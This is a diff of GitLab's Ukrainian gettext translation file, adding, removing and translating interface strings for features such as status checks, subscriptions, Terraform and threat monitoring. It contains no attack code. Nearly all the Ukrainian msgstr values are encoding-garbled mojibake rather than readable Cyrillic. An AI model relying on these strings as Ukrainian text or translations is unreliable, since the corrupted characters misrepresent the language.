msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -28942,9 +29472,6 @@ msgstr "Відхилено \"%{vulnerabilityName}\". Щоб переглÑнут
msgid "SecurityReports|Download %{artifactName}"
msgstr ""
-msgid "SecurityReports|Download Report"
-msgstr ""
-
msgid "SecurityReports|Download results"
msgstr ""
@@ -28966,9 +29493,6 @@ msgstr ""
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
-msgid "SecurityReports|Fuzzing artifacts"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr "Сховати відхилені"
@@ -29137,6 +29661,9 @@ msgstr ""
msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
msgstr ""
+msgid "See example DevOps Score page in our documentation."
+msgstr ""
+
msgid "See metrics"
msgstr "ПереглÑнути метрики"
@@ -29203,6 +29730,9 @@ msgstr ""
msgid "Select a repository"
msgstr "Виберіть репозиторій"
+msgid "Select a shared template repository for all projects on this instance."
+msgstr ""
+
msgid "Select a template repository"
msgstr "Вибрати шаблон репозиторію"
@@ -29246,7 +29776,7 @@ msgid "Select groups to replicate"
msgstr ""
msgid "Select health status"
-msgstr ""
+msgstr "Виберіть Ñтан здоров'Ñ"
msgid "Select iteration"
msgstr ""
@@ -29294,7 +29824,7 @@ msgid "Select start date"
msgstr ""
msgid "Select status"
-msgstr ""
+msgstr "Виберіть ÑтатуÑ"
msgid "Select strategy activation method"
msgstr ""
@@ -29437,6 +29967,9 @@ msgstr "Serverless"
msgid "Serverless domain"
msgstr ""
+msgid "Serverless platform"
+msgstr ""
+
msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
msgstr "Ð”Ð»Ñ Ð¼ÐµÑ‚Ñ€Ð¸Ðº викликів функцій необхідно Ñпочатку вÑтановити Prometheus."
@@ -29590,9 +30123,6 @@ msgstr "Ð’Ñтановіть Ð·Ð½Ð°Ñ‡ÐµÐ½Ð½Ñ Ð·Ð° замовчуваннÑм Ñ–
msgid "Set due date"
msgstr "Ð’Ñтановити дату завершеннÑ"
-msgid "Set instance-wide template repository"
-msgstr "Ð’Ñтановити репозиторій шаблонів Ð´Ð»Ñ Ð²Ñього інÑтанÑу"
-
msgid "Set iteration"
msgstr "Ð’Ñтановити ітерацію"
@@ -29783,7 +30313,7 @@ msgid "Settings related to the use and experience of using GitLab's Package Regi
msgstr ""
msgid "Setup"
-msgstr ""
+msgstr "ÐалаштуваннÑ"
msgid "Several security scans are enabled because %{linkStart}Auto DevOps%{linkEnd} is enabled on this project"
msgstr ""
@@ -29827,9 +30357,6 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
-msgid "Shared runners disabled on group level"
-msgstr ""
-
msgid "Shared runners help link"
msgstr "Допомога по загальним runner'ам"
@@ -30072,6 +30599,12 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr "ÐžÐ±Ð¼ÐµÐ¶ÐµÐ½Ð½Ñ Ð´Ð»Ñ Ñ€ÐµÑ”Ñтрації"
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the GitLab %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
msgstr ""
@@ -30165,6 +30698,9 @@ msgstr "ПереглÑньте ÑпиÑок уÑÑ–Ñ… доÑтупних кома
msgid "SlackService|This service allows users to perform common operations on this project by entering slash commands in Slack."
msgstr "Цей ÑÐµÑ€Ð²Ñ–Ñ Ð´Ð¾Ð·Ð²Ð¾Ð»ÑÑ” кориÑтувачам виконувати загальні операції в цьому проєкті шлÑхом вводу команд із коÑою риÑкою (/) в Slack."
+msgid "Slice multiplier"
+msgstr ""
+
msgid "Smartcard"
msgstr "Смарт-карта"
@@ -30217,7 +30753,7 @@ msgid "Snowplow"
msgstr "Snowplow"
msgid "Solution"
-msgstr ""
+msgstr "РішеннÑ"
msgid "Some changes are not shown"
msgstr ""
@@ -30402,6 +30938,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} confidentiality."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} notifications."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr "Проблема при зупинці Ñередовища. Будь лаÑка, Ñпробуйте знову."
@@ -30708,6 +31247,9 @@ msgstr "Вкажіть шаблон адреÑи електронної пошт
msgid "Speed up your pipelines with Needs relationships"
msgstr ""
+msgid "Spent At"
+msgstr ""
+
msgid "Squash commit message"
msgstr "ÐŸÐ¾Ð²Ñ–Ð´Ð¾Ð¼Ð»ÐµÐ½Ð½Ñ Ð´Ð»Ñ Ð¾Ð±'єднаного (squash) коміту"
@@ -30723,10 +31265,13 @@ msgstr ""
msgid "Stage"
msgstr "СтадіÑ"
-msgid "Stage data updated"
+msgid "StageName|Build"
+msgstr ""
+
+msgid "StageName|Deploy"
msgstr ""
-msgid "Stage removed"
+msgid "StageName|Test"
msgstr ""
msgid "Standard"
@@ -30769,7 +31314,7 @@ msgid "Start Date"
msgstr "Дата початку"
msgid "Start Time"
-msgstr ""
+msgstr "Ð§Ð°Ñ Ð¿Ð¾Ñ‡Ð°Ñ‚ÐºÑƒ"
msgid "Start Web Terminal"
msgstr "ЗапуÑтити Веб-Термінал"
@@ -30948,18 +31493,57 @@ msgstr "СтатуÑ: %{title}"
msgid "StatusCheck|API to check"
msgstr ""
+msgid "StatusCheck|Add status check"
+msgstr ""
+
+msgid "StatusCheck|An error occurred deleting the %{name} status check."
+msgstr ""
+
+msgid "StatusCheck|An error occurred fetching the status checks."
+msgstr ""
+
+msgid "StatusCheck|Apply this status check to any branch or a specific protected branch."
+msgstr ""
+
+msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgstr ""
+
+msgid "StatusCheck|Examples: QA, Security."
+msgstr ""
+
+msgid "StatusCheck|External API is already in use by another status check."
+msgstr ""
+
msgid "StatusCheck|Invoke an external API as part of the approvals"
msgstr ""
+msgid "StatusCheck|Invoke an external API as part of the pipeline process."
+msgstr ""
+
+msgid "StatusCheck|No status checks are defined yet."
+msgstr ""
+
msgid "StatusCheck|Remove status check"
msgstr ""
msgid "StatusCheck|Remove status check?"
msgstr ""
+msgid "StatusCheck|Service name"
+msgstr ""
+
+msgid "StatusCheck|Status checks"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
+msgid "StatusCheck|Target branch"
+msgstr ""
+
+msgid "StatusCheck|Update status check"
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -30993,9 +31577,6 @@ msgstr ""
msgid "StatusPage|Status page URL"
msgstr ""
-msgid "StatusPage|Status page frontend documentation"
-msgstr ""
-
msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
@@ -31050,6 +31631,9 @@ msgstr "Сховище:"
msgid "StorageSize|Unknown"
msgstr "Ðевідомо"
+msgid "Subgroup information"
+msgstr ""
+
msgid "Subgroup milestone"
msgstr ""
@@ -31155,6 +31739,9 @@ msgstr ""
msgid "Subscription deletion failed."
msgstr "Ð’Ð¸Ð´Ð°Ð»ÐµÐ½Ð½Ñ Ð¿Ñ–Ð´Ð¿Ð¸Ñки пройшло неуÑпішно."
+msgid "Subscription service outage"
+msgstr ""
+
msgid "Subscription successfully applied to \"%{group_name}\""
msgstr ""
@@ -31255,7 +31842,7 @@ msgid "Subtracts"
msgstr "ВидалÑÑ”"
msgid "Succeeded"
-msgstr ""
+msgstr "УÑпіх"
msgid "Successful purchase image"
msgstr ""
@@ -31266,6 +31853,9 @@ msgstr "УÑпішно активовано"
msgid "Successfully approved"
msgstr ""
+msgid "Successfully banned"
+msgstr ""
+
msgid "Successfully blocked"
msgstr "УÑпішно заблоковано"
@@ -31290,6 +31880,9 @@ msgstr "УÑпішно заплановано контейнер Ð´Ð»Ñ Ð·Ð°Ð¿Ñƒ
msgid "Successfully synced %{synced_timeago}."
msgstr ""
+msgid "Successfully unbanned"
+msgstr ""
+
msgid "Successfully unblocked"
msgstr "УÑпішно розблоковано"
@@ -31401,42 +31994,93 @@ msgstr "Звіт"
msgid "Sunday"
msgstr "ÐеділÑ"
+msgid "SuperSonics|Activate"
+msgstr ""
+
+msgid "SuperSonics|Activate subscription"
+msgstr ""
+
msgid "SuperSonics|Activated on"
msgstr ""
+msgid "SuperSonics|Activation code"
+msgstr ""
+
+msgid "SuperSonics|An error occurred while activating your subscription."
+msgstr ""
+
+msgid "SuperSonics|Billable users"
+msgstr ""
+
+msgid "SuperSonics|Buy subscription"
+msgstr ""
+
+msgid "SuperSonics|Enter activation code"
+msgstr ""
+
msgid "SuperSonics|Expires on"
msgstr ""
+msgid "SuperSonics|Free trial"
+msgstr ""
+
+msgid "SuperSonics|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
+msgstr ""
+
+msgid "SuperSonics|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
+msgstr ""
+
msgid "SuperSonics|ID"
msgstr ""
msgid "SuperSonics|Last Sync"
msgstr ""
+msgid "SuperSonics|Learn how to %{linkStart}activate your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|Licensed to"
msgstr ""
msgid "SuperSonics|Manage"
msgstr ""
+msgid "SuperSonics|Maximum users"
+msgstr ""
+
+msgid "SuperSonics|Paste your activation code"
+msgstr ""
+
msgid "SuperSonics|Plan"
msgstr ""
+msgid "SuperSonics|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
+msgstr ""
+
msgid "SuperSonics|Renews"
msgstr ""
msgid "SuperSonics|Seats"
msgstr ""
+msgid "SuperSonics|Start free trial"
+msgstr ""
+
msgid "SuperSonics|Started"
msgstr ""
+msgid "SuperSonics|Subscription"
+msgstr ""
+
msgid "SuperSonics|Subscription details"
msgstr ""
msgid "SuperSonics|Sync subscription details"
msgstr ""
+msgid "SuperSonics|The activation code is not valid. Please make sure to copy it exactly from the Customers Portal or confirmation email. Learn more about %{linkStart}activating your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|The subscription details synced successfully."
msgstr ""
@@ -31446,18 +32090,48 @@ msgstr ""
msgid "SuperSonics|This field is required."
msgstr ""
+msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
+msgstr ""
+
+msgid "SuperSonics|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgstr ""
+
+msgid "SuperSonics|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Licensing%{linkEnd} service, a hassle-free way to manage your subscription."
+msgstr ""
+
msgid "SuperSonics|Type"
msgstr ""
+msgid "SuperSonics|Upload a legacy license"
+msgstr ""
+
+msgid "SuperSonics|Users in subscription"
+msgstr ""
+
+msgid "SuperSonics|Users over subscription"
+msgstr ""
+
+msgid "SuperSonics|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "SuperSonics|Valid From"
msgstr ""
+msgid "SuperSonics|You can learn more about %{activationLinkStart}activating your subscription%{activationLinkEnd}. If you need further assistance, please %{supportLinkStart}contact GitLab Support%{supportLinkEnd}."
+msgstr ""
+
msgid "SuperSonics|You can no longer sync your subscription details with GitLab. Get help for the most common connectivity issues by %{connectivityHelpLinkStart}troubleshooting the activation code%{connectivityHelpLinkEnd}."
msgstr ""
+msgid "SuperSonics|You can start a free trial of GitLab Ultimate without any obligation or payment details."
+msgstr ""
+
msgid "SuperSonics|You do not have an active subscription"
msgstr ""
+msgid "SuperSonics|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "SuperSonics|Your subscription"
msgstr ""
@@ -31476,6 +32150,9 @@ msgstr "URL-адреÑа Ñторінки підтримки"
msgid "Survey Response"
msgstr ""
+msgid "Switch Branch"
+msgstr ""
+
msgid "Switch branch/tag"
msgstr "Перейти в гілку/тег"
@@ -31698,6 +32375,9 @@ msgstr "Шаблон"
msgid "Template to append to all Service Desk issues"
msgstr "Шаблон Ð´Ð»Ñ Ð´Ð¾Ð´Ð°Ð²Ð°Ð½Ð½Ñ Ð´Ð¾ вÑÑ–Ñ… задач Service Desk"
+msgid "TemplateRepository|Select a repository to make its templates available to all projects. %{link_start}What should the repository contain?%{link_end} "
+msgstr ""
+
msgid "Templates"
msgstr "Шаблони"
@@ -31732,7 +32412,7 @@ msgid "Terms of Service and Privacy Policy"
msgstr "Правилами кориÑÑ‚ÑƒÐ²Ð°Ð½Ð½Ñ ÑервіÑом Ñ– політика конфіденційноÑÑ‚Ñ–"
msgid "Terraform"
-msgstr ""
+msgstr "Terraform"
msgid "Terraform|%{name} successfully removed"
msgstr ""
@@ -31761,7 +32441,7 @@ msgid "Terraform|A report was generated in your pipelines."
msgstr ""
msgid "Terraform|Actions"
-msgstr ""
+msgstr "Дії"
msgid "Terraform|An error occurred while changing the state file"
msgstr ""
@@ -31773,13 +32453,13 @@ msgid "Terraform|Are you sure you want to remove the Terraform State %{name}?"
msgstr ""
msgid "Terraform|Cancel"
-msgstr ""
+msgstr "СкаÑувати"
msgid "Terraform|Details"
msgstr ""
msgid "Terraform|Download JSON"
-msgstr ""
+msgstr "Завантажити JSON"
msgid "Terraform|Find out how to use the %{linkStart}GitLab managed Terraform State%{linkEnd}"
msgstr ""
@@ -31788,7 +32468,7 @@ msgid "Terraform|Generating the report caused an error."
msgstr ""
msgid "Terraform|Get started with Terraform"
-msgstr ""
+msgstr "Розпочати роботу з Terraform"
msgid "Terraform|Job status"
msgstr ""
@@ -31809,7 +32489,7 @@ msgid "Terraform|Name"
msgstr ""
msgid "Terraform|Pipeline"
-msgstr ""
+msgstr "Конвеєр"
msgid "Terraform|Remove"
msgstr ""
@@ -31824,7 +32504,7 @@ msgid "Terraform|Reported Resource Changes: %{addNum} to add, %{changeNum} to ch
msgstr ""
msgid "Terraform|States"
-msgstr ""
+msgstr "Стан"
msgid "Terraform|The report %{name} failed to generate."
msgstr ""
@@ -31856,9 +32536,6 @@ msgstr "ТеÑÑ‚"
msgid "Test Cases"
msgstr ""
-msgid "Test cases are not available for this project"
-msgstr ""
-
msgid "Test coverage parsing"
msgstr "Пошук результатів Ð¿Ð¾ÐºÑ€Ð¸Ñ‚Ñ‚Ñ Ñ‚ÐµÑтами"
@@ -32002,6 +32679,9 @@ msgstr ""
msgid "Tests"
msgstr "ТеÑти"
+msgid "Text style"
+msgstr ""
+
msgid "Thank you for signing up for your free trial! You will get additional instructions in your inbox shortly."
msgstr "ДÑкуємо, що зареєÑтрувалиÑÑŒ на безкоштовну пробну верÑÑ–ÑŽ! Ðезабаром ви отримаєте додаткові вказівки у поштовій Ñкриньці."
@@ -32032,8 +32712,8 @@ msgstr ""
msgid "The \"%{group_path}\" group allows you to sign in with your Single Sign-On Account"
msgstr "Група \"%{group_path}\" дозволÑÑ” увійти за допомогою облікового запиÑу єдиного входу"
-msgid "The \"Require approval from CODEOWNERS\" setting was moved to %{banner_link_start}Protected Branches%{banner_link_end}"
-msgstr "Параметр \"Вимагати Ð·Ð°Ñ‚Ð²ÐµÑ€Ð´Ð¶ÐµÐ½Ð½Ñ Ð²Ñ–Ð´ CODEOWNERS\" було переміщено до %{banner_link_start}Захищених Гілок%{banner_link_end}"
+msgid "The %{featureName} feature is part of your GitLab Ultimate trial."
+msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
msgstr ""
@@ -32057,6 +32737,9 @@ msgstr ""
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
+msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
+msgstr ""
+
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
@@ -32250,6 +32933,9 @@ msgstr "Імпорт буде припинено піÑÐ»Ñ %{timeout}. Ð”Ð»Ñ Ñ
msgid "The interval must be one of %{intervals}."
msgstr ""
+msgid "The invitation can not be found with the provided invite token."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr "Ð—Ð°Ð¿Ñ€Ð¾ÑˆÐµÐ½Ð½Ñ Ð½Ðµ може буте прийнÑте."
@@ -32295,6 +32981,9 @@ msgstr ""
msgid "The maximum file size is %{size}."
msgstr ""
+msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -32313,9 +33002,6 @@ msgstr "Конфлікти у цьому запиті на Ð·Ð»Ð¸Ñ‚Ñ‚Ñ ÑƒÐ¶Ðµ Ð
msgid "The merge request can now be merged."
msgstr "Запит на Ð·Ð»Ð¸Ñ‚Ñ‚Ñ Ð¼Ð¾Ð¶Ðµ бути злито."
-msgid "The merge request has made changes to this file that affect the number of code quality violations in it."
-msgstr ""
-
msgid "The metric must be one of %{metrics}."
msgstr ""
@@ -32619,9 +33305,6 @@ msgstr ""
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
-msgid "There is a connectivity issue"
-msgstr ""
-
msgid "There is a halted Elasticsearch migration"
msgstr ""
@@ -32688,12 +33371,6 @@ msgstr ""
msgid "There was a problem fetching users."
msgstr ""
-msgid "There was a problem refreshing the data, please try again"
-msgstr "Під Ñ‡Ð°Ñ Ð¾Ð½Ð¾Ð²Ð»ÐµÐ½Ð½Ñ Ð´Ð°Ð½Ð¸Ñ… ÑталаÑÑ Ð¿Ð¾Ð¼Ð¸Ð»ÐºÐ°. Будь лаÑка, Ñпробуйте ще раз"
-
-msgid "There was a problem saving your custom stage, please try again"
-msgstr "Проблема зі збереженнÑм вашої кориÑтувацької Ñтадії, будь лаÑка, Ñпробуйте ще раз"
-
msgid "There was a problem sending the confirmation email"
msgstr "Помилка при відÑиланні Ð¿Ñ–Ð´Ñ‚Ð²ÐµÑ€Ð´Ð¶ÐµÐ½Ð½Ñ Ð¿Ð¾ електронній пошті"
@@ -32721,6 +33398,9 @@ msgstr "Помилка при видаленні нагадуваннÑ."
msgid "There was an error fetching configuration for charts"
msgstr "Помилка при отриманні налаштувань діаграм"
+msgid "There was an error fetching content, please refresh the page"
+msgstr ""
+
msgid "There was an error fetching data for the selected stage"
msgstr "Помилка при отриманні даних Ð´Ð»Ñ Ð²Ð¸Ð±Ñ€Ð°Ð½Ð¾Ñ— Ñтадії"
@@ -32784,9 +33464,6 @@ msgstr ""
msgid "There was an error removing the e-mail."
msgstr "Помилка при видаленні адреÑи електронної пошти."
-msgid "There was an error removing your custom stage, please try again"
-msgstr ""
-
msgid "There was an error resetting group pipeline minutes."
msgstr "Помилка при Ñкиданні групових хвилин Ð´Ð»Ñ ÐºÐ¾Ð½Ð²ÐµÑ”Ñ€Ñ–Ð²."
@@ -32829,9 +33506,6 @@ msgstr "СталаÑÑ Ð¿Ð¾Ð¼Ð¸Ð»ÐºÐ° при оновлені інформаці
msgid "There was an error updating the dashboard, branch named: %{branch} already exists."
msgstr "СталаÑÑ Ð¿Ð¾Ð¼Ð¸Ð»ÐºÐ° при оновлені інформаційної панелі, гілка під назвою: %{branch} вже Ñ–Ñнує."
-msgid "There was an error updating the stage order. Please try reloading the page."
-msgstr ""
-
msgid "There was an error when reseting email token."
msgstr "Помилка при Ñкиданні токена електронної пошти."
@@ -32955,8 +33629,11 @@ msgstr ""
msgid "This also resolves this thread"
msgstr ""
-msgid "This application was created by %{link_to_owner}."
-msgstr "Цей заÑтоÑунок було Ñтворено %{link_to_owner}."
+msgid "This application was created by %{user_link}."
+msgstr ""
+
+msgid "This application was created for group %{group_link}."
+msgstr ""
msgid "This application will be able to:"
msgstr "Ð¦Ñ Ð¿Ñ€Ð¾Ð³Ñ€Ð°Ð¼Ð° зможе:"
@@ -33057,9 +33734,6 @@ msgstr ""
msgid "This feature requires local storage to be enabled"
msgstr "Ð¦Ñ Ñ„ÑƒÐ½Ñ†Ñ–Ð¾Ð½Ð°Ð»ÑŒÐ½Ñ–ÑÑ‚ÑŒ вимагає ÑƒÐ²Ñ–Ð¼ÐºÐ½ÐµÐ½Ð½Ñ Ð»Ð¾ÐºÐ°Ð»ÑŒÐ½Ð¾Ð³Ð¾ Ñховища"
-msgid "This feature should be used with an index that was created after 13.0"
-msgstr ""
-
msgid "This field is required."
msgstr "Це поле Ñ” обов'Ñзковим."
@@ -33393,6 +34067,9 @@ msgstr ""
msgid "This user has the %{access} role in the %{name} project."
msgstr ""
+msgid "This user is banned"
+msgstr ""
+
msgid "This user is blocked"
msgstr ""
@@ -33427,7 +34104,7 @@ msgid "ThreatMonitoring|Alert Details"
msgstr ""
msgid "ThreatMonitoring|Alerts"
-msgstr ""
+msgstr "ПопередженнÑ"
msgid "ThreatMonitoring|All Environments"
msgstr ""
@@ -33435,9 +34112,6 @@ msgstr ""
msgid "ThreatMonitoring|Anomalous Requests"
msgstr ""
-msgid "ThreatMonitoring|Application firewall not detected"
-msgstr ""
-
msgid "ThreatMonitoring|Container Network Policies are not installed or have been disabled. To view this data, ensure your Network Policies are installed and enabled for your cluster."
msgstr ""
@@ -33462,6 +34136,9 @@ msgstr "Середовище"
msgid "ThreatMonitoring|Events"
msgstr ""
+msgid "ThreatMonitoring|Failed to create incident, please try again."
+msgstr ""
+
msgid "ThreatMonitoring|Hide dismissed alerts"
msgstr ""
@@ -33513,9 +34190,6 @@ msgstr ""
msgid "ThreatMonitoring|Status"
msgstr ""
-msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -33546,12 +34220,6 @@ msgstr ""
msgid "ThreatMonitoring|View documentation"
msgstr ""
-msgid "ThreatMonitoring|Web Application Firewall"
-msgstr ""
-
-msgid "ThreatMonitoring|While it's rare to have no traffic coming to your application, it can happen. In any event, we ask that you double check your settings to make sure you've set up the WAF correctly."
-msgstr ""
-
msgid "Throughput"
msgstr ""
@@ -33561,6 +34229,9 @@ msgstr "Четвер"
msgid "Time"
msgstr "ЧаÑ"
+msgid "Time Spent"
+msgstr ""
+
msgid "Time based: Yes"
msgstr "Ðа оÑнові чаÑу: Так"
@@ -33612,6 +34283,9 @@ msgstr ""
msgid "Time tracking"
msgstr "ВідÑÑ‚ÐµÐ¶ÐµÐ½Ð½Ñ Ñ‡Ð°Ñу"
+msgid "Time tracking report"
+msgstr ""
+
msgid "Time until first merge request"
msgstr "Ð§Ð°Ñ Ð´Ð¾ першого запиту на злиттÑ"
@@ -33772,7 +34446,7 @@ msgid "Timeout connecting to the Google API. Please try again."
msgstr ""
msgid "Timezone"
-msgstr ""
+msgstr "ЧаÑовий поÑÑ"
msgid "Time|hr"
msgid_plural "Time|hrs"
@@ -33791,14 +34465,11 @@ msgstr[3] "хвилин"
msgid "Time|s"
msgstr "Ñекунд(а)"
-msgid "Tip:"
-msgstr "Порада:"
-
msgid "Tip: Hover over a job to see the jobs it depends on to run."
msgstr ""
msgid "Tip: add a"
-msgstr ""
+msgstr "Порада: додайте"
msgid "Tip: add a %{linkStart}CODEOWNERS%{linkEnd} to automatically add approvers based on file paths and file types."
msgstr ""
@@ -33908,9 +34579,6 @@ msgstr "Щоб переміÑтити або Ñкопіювати веÑÑŒ прÐ
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
-msgstr ""
-
msgid "To pass variables to the triggered pipeline, add %{code_start}variables[VARIABLE]=VALUE%{code_end} to the API request."
msgstr ""
@@ -34028,15 +34696,15 @@ msgstr "Переключити навігацію"
msgid "Toggle project select"
msgstr ""
+msgid "Toggle shortcuts"
+msgstr ""
+
msgid "Toggle sidebar"
msgstr "Перемикач бічної панелі"
msgid "Toggle the Performance Bar"
msgstr "Увімкнути/вимкнути панель продуктивноÑÑ‚Ñ–"
-msgid "Toggle this dialog"
-msgstr "Увімкнути/вимкнути це діалогове вікно"
-
msgid "Toggle thread"
msgstr "Закрити/відкрити обговореннÑ"
@@ -34064,9 +34732,6 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
-msgid "Too much data"
-msgstr ""
-
msgid "Topics (optional)"
msgstr "Теми (додатково)"
@@ -34266,6 +34931,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgstr ""
+
msgid "Trigger manual job"
msgstr ""
@@ -34491,6 +35159,9 @@ msgstr ""
msgid "Unable to fetch branch list for this project."
msgstr ""
+msgid "Unable to fetch branches list, please close the form and try again"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -34734,6 +35405,9 @@ msgstr ""
msgid "Until"
msgstr "До"
+msgid "Unused"
+msgstr ""
+
msgid "Unused, previous indices: %{index_names} will be deleted after %{time} automatically."
msgstr ""
@@ -34893,6 +35567,9 @@ msgstr ""
msgid "Upload file"
msgstr "ÐадіÑлати файл"
+msgid "Upload license"
+msgstr ""
+
msgid "Upload object map"
msgstr "Завантажити файл відповідноÑÑ‚Ñ– об’єктів"
@@ -35214,6 +35891,9 @@ msgstr "ВикориÑтовуютьÑÑ Ð³Ð»Ð¾Ð±Ð°Ð»ÑŒÐ½Ñ– налаштуван
msgid "Use your smart card to authenticate with the LDAP server."
msgstr "ВикориÑтовуйте Ñмарт-карту Ð´Ð»Ñ Ð°Ð²Ñ‚ÐµÐ½Ñ‚Ð¸Ñ„Ñ–ÐºÐ°Ñ†Ñ–Ñ— на Ñервері LDAP."
+msgid "Used"
+msgstr ""
+
msgid "Used by members to sign in to your group in GitLab"
msgstr "ВикориÑтовуєтьÑÑ ÑƒÑ‡Ð°Ñниками Ð´Ð»Ñ Ð²Ñ…Ð¾Ð´Ñƒ у вашу групу в GitLab"
@@ -35223,6 +35903,9 @@ msgstr ""
msgid "Used programming language"
msgstr ""
+msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Used to help configure your identity provider"
msgstr "ВикориÑтовуєтьÑÑ Ð´Ð»Ñ Ð´Ð¾Ð¿Ð¾Ð¼Ð¾Ð³Ð¸ в налаштуванні провайдера ідентифікації"
@@ -35331,27 +36014,45 @@ msgstr ""
msgid "UserLists|Feature flag user list"
msgstr ""
+msgid "UserLists|Get started with user lists"
+msgstr ""
+
msgid "UserLists|Lists allow you to define a set of users to be used with feature flags. %{linkStart}Read more about feature flag lists.%{linkEnd}"
msgstr ""
+msgid "UserLists|Loading user lists"
+msgstr ""
+
msgid "UserLists|Name"
msgstr "ІмʼÑ"
msgid "UserLists|New list"
msgstr "Ðовий ÑпиÑок"
+msgid "UserLists|New user list"
+msgstr ""
+
msgid "UserLists|Save"
msgstr "Зберегти"
msgid "UserLists|There are no users"
msgstr "Ðемає кориÑтувачів"
+msgid "UserLists|There was an error fetching the user lists."
+msgstr ""
+
msgid "UserLists|User ID"
msgstr ""
msgid "UserLists|User IDs"
msgstr "Ідентифікатори кориÑтувачів"
+msgid "UserLists|User Lists"
+msgstr ""
+
+msgid "UserLists|User lists allow you to define a set of users to use with Feature Flags."
+msgstr ""
+
msgid "UserList|Delete %{name}?"
msgstr "Видалити %{name}?"
@@ -35484,6 +36185,9 @@ msgstr ""
msgid "UserProfile|made a private contribution"
msgstr ""
+msgid "Username (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Username (optional)"
msgstr "Ім'Ñ ÐºÐ¾Ñ€Ð¸Ñтувача (необов'Ñзково)"
@@ -35505,6 +36209,9 @@ msgstr ""
msgid "Users"
msgstr "КориÑтувачі"
+msgid "Users can launch a development environment from a GitLab browser tab when the %{linkStart}Gitpod%{linkEnd} integration is enabled."
+msgstr ""
+
msgid "Users in License"
msgstr ""
@@ -35616,6 +36323,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Total number of deploys to production."
msgstr ""
+msgid "ValueStreamEvent|Items in stage"
+msgstr ""
+
msgid "ValueStreamEvent|Stage time (median)"
msgstr ""
@@ -35952,7 +36662,7 @@ msgid "VulnerabilityManagement|%{statusStart}Confirmed%{statusEnd} %{timeago} by
msgstr ""
msgid "VulnerabilityManagement|%{statusStart}Detected%{statusEnd} %{timeago} in pipeline %{pipelineLink}"
-msgstr ""
+msgstr "%{statusStart}ВиÑвлено%{statusEnd} %{timeago} в конвеєрі %{pipelineLink}"
msgid "VulnerabilityManagement|%{statusStart}Dismissed%{statusEnd} %{timeago} by %{user}"
msgstr ""
@@ -36185,15 +36895,15 @@ msgstr "Ми виÑвили потенційний Ñпам у %{humanized_resou
msgid "We don't have enough data to show this stage."
msgstr "Ми не маємо доÑтатньо даних Ð´Ð»Ñ Ð²Ñ–Ð´Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð½Ñ Ñ†Ñ–Ñ”Ñ— Ñтадії."
-msgid "We encountered an error and our team has been notified. Please try again."
-msgstr ""
-
